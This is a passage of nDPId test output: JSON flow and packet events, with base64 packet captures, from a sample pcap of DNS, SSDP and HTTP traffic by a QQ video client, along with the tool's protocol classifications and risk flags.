A8fS4ienpRWjx9enoiJnZvZjIuInp6dm9mMnp6CiAgICAgICAgICAiJidmLVpVPFIuPSYyPEMtfEt9VTxSLjoiCiAgJ19RSycgUF8yfUcgUjxkfF8tZDwgLiBSPHdvPGRXT29SJ0cgUF8yfS58X2RXMV8yfUcgMktXSy58X2RXe0tXS0cgTTxXSl8yLjNFST8+MyAoCiAgZkMgLV9XIFBfMn0gV0o8LSBSPFdvUi0gPC0yCiAgJ19RSycgZkd4IC4gUF8yfWlDZi0yNjNRSy0tX1cgfCdLfSBfb1dkZjI8MysKICBmQyBmIFdKPC0KICAgIG9SJy4zSldXfGlubkpOVVV6VWYyPF96d3d6UV9NbnY8V2YtQ19yclFLJydQS1FaLng1bzxSfTopOkRwQU4pcEEpcClnKUgpPUE9bTpIZ2dnZ1hIPT0pOk4mVWYyLjN6elVmMnp6MyZ8J0tXQ19STS46RClEOiZfV318PC5iTScmMjxDLS5Lb1dfJidfLG0nX3ZmLS46Jm0uOkhnZ2dnWEg9PSk9PTMKICAgICdfUUsnIFBfMn1HIFI8ZHxfLWQ8IC4gUjx3bzxkV09vUicoCiAgICBQS2Q8bW9SJyAuIHY8VzFLZDx1Uic4Ul9NN2YtQ182UF8yfSsKICAgIFBLZDxtQ2YnPC1LTTwgLiB2PFcxS2Q8a3xIOGYnPC1LTTw2UF8yfSsKICAgIENVWjx9bWRXUmYtdiAuIHY8VzFLZDwwPH04Ul9NN2YtQ182UF8yfSsKICAgIG9SJ2RbRF0gLiAgIFBLZDxtb1InIHp6IFBLZDxtQ2YnPC1LTTx6eiJ6TXxIclVaPH0uInp6Q1VaPH1tZFdSZi12CiAgPCdkPAogICAgdjxXe29SS1dmXy1kOFJfTTdmLUNfNlBfMn0rCiAgICAgIGZDIDJvUktXZl8tZFtEXSBXSjwtCiAgICBQS2Q8bW9SJyAuIHY8VzFLZDx1Uic4Ul9NN2YtQ182UF8yfSsKICAgIFBLZDxtQ2YnPC1LTTwgLiB2PFcxS2Q8a3xIOGYnPC1LTTw2UF8yfSsKICAgIENfUk1LVyAuIHY8VzhfUk1LVzZQXzJ9KwogICAgJy1aIC4gdjxXWS1aNlBfMn0rCiAgICBDX1IgZi0yPGIuREcgIzJvUktXZl8tZCAyXwogICAgICA5OQogICAgICAgIG9S"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":458,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1470104380188,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"218.244.135.170","src_port":49607,"dst_port":9099,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":458,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":188079,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UhRAAIAGEmDAqHMI2vSHqsHHI4t8ty1+AAAAAIACIAAqAAAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":459,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":188122,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UhRAAIAGEmDAqHMI2vSHqsHHI4t8ty1+AAAAAIACIAAqAAAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":38,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":460,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":300643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0c30AAHAGQPfa9IeqwKhzCCOLwccogsRifLctf4ASQAAcSgAAAgQFtAEDAwABAQQC"} +00408{"flow_id":38,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":461,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":300823,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUhVAAIAGEmvAqHMI2vSHqsHHI4t8ty1\/KILEY1AQAQScEQAA"} +00408{"flow_id":38,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":462,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":300850,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUhVAAIAGEmvAqHMI2vSHqsHHI4t8ty1\/KILEY1AQAQScEQAA"} +00623{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":463,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":302072,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"TF4M6gNlABxCjnAxCABFAADGUhZAAIAGEczAqHMI2vSHqsHHI4t8ty1\/KILEY1AYAQTPigAAR0VUIC9hcGkvcXFsaXZlX2NrZXkvZ2V0P3ZpZD15MDAxM3hhZWV5byZwbGF0Zm9ybT0xMDkwMiBIVFRQLzEuMQ0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wDQpIb3N0OiAyMTguMjQ0LjEzNS4xNzA6OTA5OQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":463,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":6,"flow_first_seen":1470104380188,"flow_last_seen":1470104380302,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":20,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"218.244.135.170","src_port":49607,"dst_port":9099,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"218.244.135.170","url":"218.244.135.170:9099\/api\/qqlive_ckey\/get?vid=y0013xaeeyo&platform=10902","code":0,"content_type":"","user_agent":"Mozilla\/5.0"}} +00623{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":464,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":302108,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"TF4M6gNlABxCjnAxCABFAADGUhZAAIAGEczAqHMI2vSHqsHHI4t8ty1\/KILEY1AYAQTPigAAR0VUIC9hcGkvcXFsaXZlX2NrZXkvZ2V0P3ZpZD15MDAxM3hhZWV5byZwbGF0Zm9ybT0xMDkwMiBIVFRQLzEuMQ0KQWNjZXB0OiAqLyoNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wDQpIb3N0OiAyMTguMjQ0LjEzNS4xNzA6OTA5OQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00936{"flow_id":38,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":467,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":419993,"pkt_caplen":446,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":446,"pkt_l4_len":412,"pkt":"ABxCjnAxTF4M6gNlCABFAAGwc5lAAHAG\/17a9IeqwKhzCCOLwccogsRjfLcuHVAY\/2FDygAASFRUUC8xLjEgMjAwIE9LDQpYLVBvd2VyZWQtQnk6IEV4cHJlc3MNCkRhdGU6IFR1ZSwgMDIgQXVnIDIwMTYgMDI6MTk6NDEgR01UDQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpUcmFuc2Zlci1FbmNvZGluZzogY2h1bmtlZA0KDQpmZg0KMy4yLjE5LjM1OHw1LjR8QW15UnhVWHJQVzhaS3hMQUNIaWY0dmRrcVI2TGlSYkUyOVhucDZXM2xRV2NJcTBiZ2NJYmVBaGdUNE8yWDk0bnNGRk1rN1pmUFJBRFlDSTlBdmtlcHdkV1IzQU5DVzhJaXp3bTZkNmNUZXJhb2dCQzVJaFRfUm90ZDJ0M2taQ0JyaTVFT3NPcjNUbXdsMW9xSGRDNi1LZ2pUQXozNGtJSFVkQkNEdkxLYW9WeGktelRyZEZDTUdqZEFlM1dYZU5yVkE0WVNyUkNhbDBIVHVCVnRzWW1hV3NELW00QnNscngyTWVGODV4S09kdGxRUEFrDQo="} +00583{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":468,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":603356,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQLUAAAQRv8HAqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00407{"flow_id":38,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":469,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":620879,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUhhAAIAGEmjAqHMI2vSHqsHHI4t8ty4dKILF61AQAQOZ7AAA"} +00408{"flow_id":38,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":470,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":620917,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUhhAAIAGEmjAqHMI2vSHqsHHI4t8ty4dKILF61AQAQOZ7AAA"} +00417{"flow_id":38,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":471,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":732533,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"ABxCjnAxTF4M6gNlCABFAAAtc91AAHAGAJ7a9IeqwKhzCCOLwccogsXrfLcuHVAY\/2FXZgAAMA0KDQoA"} +00467{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":472,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1470104380737,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":54420,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00435{"flow_id":39,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":472,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":737950,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"TF4M6gNlABxCjnAxCABFAAA9UhkAAIARpNbAqHMICAgICNSUADUAKZhJpTgBAAABAAAAAAAAAnZ2BXZpZGVvAnFxA2NvbQAAAQAB"} +00622{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":472,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":1,"flow_first_seen":1470104380737,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":54420,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.QQ","breed":"Fun","category":"Chat"},"dns": {"query":"vv.video.qq.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00435{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":473,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":737994,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"TF4M6gNlABxCjnAxCABFAAA9UhkAAIARpNbAqHMICAgICNSUADUAKZhJpTgBAAABAAAAAAAAAnZ2BXZpZGVvAnFxA2NvbQAAAQAB"} +00493{"flow_id":39,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":474,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":772526,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"ABxCjnAxTF4M6gNlCABFAABmlL4AAC4RtAgICAgIwKhzCAA11JQAUqbTpTiBgAABAAIAAAAAAnZ2BXZpZGVvAnFxA2NvbQAAAQABwAwABQABAAABKwANCnByb3h5LXNldDHAD8AtAAEAAQAAASsABMvNl+o="} +00651{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":474,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":3,"flow_first_seen":1470104380737,"flow_last_seen":1470104380772,"flow_tot_l4_data_len":164,"flow_min_l4_data_len":41,"flow_max_l4_data_len":82,"flow_avg_l4_data_len":54,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"8.8.8.8","src_port":54420,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.QQ","breed":"Fun","category":"Chat"},"dns": {"query":"vv.video.qq.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"203.205.151.234"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":475,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1470104380773,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"203.205.151.234","src_port":49608,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":475,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":773662,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UhtAAIAGEUDAqHMIy82X6sHIAFAfZnbXAAAAAIACIABgGQAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":476,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":773739,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0UhtAAIAGEUDAqHMIy82X6sHIAFAfZnbXAAAAAIACIABgGQAAAgQE7AEDAwgBAQQC"} +00423{"flow_id":40,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":477,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":801749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0AABAADMGsFvLzZfqwKhzCABQwcglYwNrH2Z22IASFoBABAAAAgQFoAEBBAIBAwMK"} +00407{"flow_id":40,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":478,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":801884,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUhxAAIAGEUvAqHMIy82X6sHIAFAfZnbYJWMDbFAQAQSWQQAA"} +00407{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":479,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":801910,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUhxAAIAGEUvAqHMIy82X6sHIAFAfZnbYJWMDbFAQAQSWQQAA"} +00682{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":480,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":807804,"pkt_caplen":258,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":258,"pkt_l4_len":224,"pkt":"TF4M6gNlABxCjnAxCABFAAD0Uh1AAIAGEH7AqHMIy82X6sHIAFAfZnbYJWMDbFAYAQQt1AAAUE9TVCAvZ2V0dmluZm8gSFRUUC8xLjENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkhvc3Q6IHZ2LnZpZGVvLnFxLmNvbQ0KQ29udGVudC1MZW5ndGg6IDQ0NQ0KRXhwZWN0OiAxMDAtY29udGludWUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":480,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":6,"flow_first_seen":1470104380773,"flow_last_seen":1470104380807,"flow_tot_l4_data_len":360,"flow_min_l4_data_len":20,"flow_max_l4_data_len":224,"flow_avg_l4_data_len":60,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"203.205.151.234","src_port":49608,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.QQ","breed":"Fun","category":"Chat"},"http": {"hostname":"vv.video.qq.com","url":"vv.video.qq.com\/getvinfo","code":0,"content_type":"","user_agent":"Mozilla\/5.0"}} +00682{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":481,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":807854,"pkt_caplen":258,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":258,"pkt_l4_len":224,"pkt":"TF4M6gNlABxCjnAxCABFAAD0Uh1AAIAGEH7AqHMIy82X6sHIAFAfZnbYJWMDbFAYAQQt1AAAUE9TVCAvZ2V0dmluZm8gSFRUUC8xLjENCkFjY2VwdDogKi8qDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMA0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkhvc3Q6IHZ2LnZpZGVvLnFxLmNvbQ0KQ29udGVudC1MZW5ndGg6IDQ0NQ0KRXhwZWN0OiAxMDAtY29udGludWUNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00415{"flow_id":40,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":482,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":834864,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxTF4M6gNlCABFAAAoJKFAADMGi8bLzZfqwKhzCABQwcglYwNsH2Z3pFAQAAeWcgAAAAAAAAAA"} +00443{"flow_id":40,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":483,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":834923,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"ABxCjnAxTF4M6gNlCABFAABBJKJAADMGi6zLzZfqwKhzCABQwcglYwNsH2Z3pFAYAAdgPgAASFRUUC8xLjEgMTAwIENvbnRpbnVlDQoNCg=="} +01007{"flow_id":40,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":484,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":835517,"pkt_caplen":499,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":499,"pkt_l4_len":465,"pkt":"TF4M6gNlABxCjnAxCABFAAHlUh5AAIAGD4zAqHMIy82X6sHIAFAfZnekJWMDhVAYAQS5hgAAZW5jcnlwdFZlcj01LjQmb3R5cGU9eG1sJmFwcHZlcj0zLjIuMTkuMzU4JnBsYXRmb3JtPTEwOTAyJm5ld3BsYXRmb3JtPTEwOTAyJnZpZD15MDAxM3hhZWV5byZ2aWRzPXkwMDEzeGFlZXlvJmRlZmF1bHRmbXQ9c2QmZGVmbj1zZCZjS2V5PUFteVJ4VVhyUFc4Wkt4TEFDSGlmNHZka3FSNkxpUmJFMjlYbnA2VzNsUVdjSXEwYmdjSWJlQWhnVDRPMlg5NG5zRkZNazdaZlBSQURZQ0k5QXZrZXB3ZFdSM0FOQ1c4SWl6d202ZDZjVGVyYW9nQkM1SWhUX1JvdGQydDNrWkNCcmk1RU9zT3IzVG13bDFvcUhkQzYtS2dqVEF6MzRrSUhVZEJDRHZMS2FvVnhpLXpUcmRGQ01HamRBZTNXWGVOclZBNFlTclJDYWwwSFR1QlZ0c1ltYVdzRC1tNEJzbHJ4Mk1lRjg1eEtPZHRsUVBBayZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbGlua3Zlcj0yJmRlZm5wYXl2ZXI9MQ=="} +01007{"flow_id":40,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":485,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":835546,"pkt_caplen":499,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":499,"pkt_l4_len":465,"pkt":"TF4M6gNlABxCjnAxCABFAAHlUh5AAIAGD4zAqHMIy82X6sHIAFAfZnekJWMDhVAYAQS5hgAAZW5jcnlwdFZlcj01LjQmb3R5cGU9eG1sJmFwcHZlcj0zLjIuMTkuMzU4JnBsYXRmb3JtPTEwOTAyJm5ld3BsYXRmb3JtPTEwOTAyJnZpZD15MDAxM3hhZWV5byZ2aWRzPXkwMDEzeGFlZXlvJmRlZmF1bHRmbXQ9c2QmZGVmbj1zZCZjS2V5PUFteVJ4VVhyUFc4Wkt4TEFDSGlmNHZka3FSNkxpUmJFMjlYbnA2VzNsUVdjSXEwYmdjSWJlQWhnVDRPMlg5NG5zRkZNazdaZlBSQURZQ0k5QXZrZXB3ZFdSM0FOQ1c4SWl6d202ZDZjVGVyYW9nQkM1SWhUX1JvdGQydDNrWkNCcmk1RU9zT3IzVG13bDFvcUhkQzYtS2dqVEF6MzRrSUhVZEJDRHZMS2FvVnhpLXpUcmRGQ01HamRBZTNXWGVOclZBNFlTclJDYWwwSFR1QlZ0c1ltYVdzRC1tNEJzbHJ4Mk1lRjg1eEtPZHRsUVBBayZndWlkPUY1RUIwMUNDMDFBOEUwOENEODM2MzA4MjhERTE3QzJCMDIxNjJGRDgmbGlua3Zlcj0yJmRlZm5wYXl2ZXI9MQ=="} +00836{"flow_id":40,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":486,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":882764,"pkt_caplen":372,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":372,"pkt_l4_len":338,"pkt":"ABxCjnAxTF4M6gNlCABFAAFmJKNAADMGiobLzZfqwKhzCABQwcglYwOFH2Z5YVAYAAixSgAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IG5naW54DQpEYXRlOiBUdWUsIDAyIEF1ZyAyMDE2IDAyOjE5OjQyIEdNVA0KQ29udGVudC1UeXBlOiB0ZXh0L3htbDsgY2hhcnNldD11dGYtOA0KQ29udGVudC1MZW5ndGg6IDE2Mw0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtOCIgIHN0YW5kYWxvbmU9Im5vIiA\/Pgo8cm9vdD48ZW0+ODA8L2VtPjxleGVtPjE8L2V4ZW0+PGV4aW5mbz7kuK3lm70t5Y+w5rm+55yBLS3mnKrnn6U8L2V4aW5mbz48bXNnPklQIGxpbWl0PC9tc2c+PHM+Zjwvcz48L3Jvb3Q+"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":487,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1470104380890,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"42.120.51.152","src_port":49609,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":487,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104380,"pkt_ts_usec":890420,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlABxCjnAxCABFAAA0Uh9AAIAGFuTAqHMIKngzmMHJH5CKzmkHAAAAAIACIADo5wAAAgQE7AEDAwgBAQQC"} 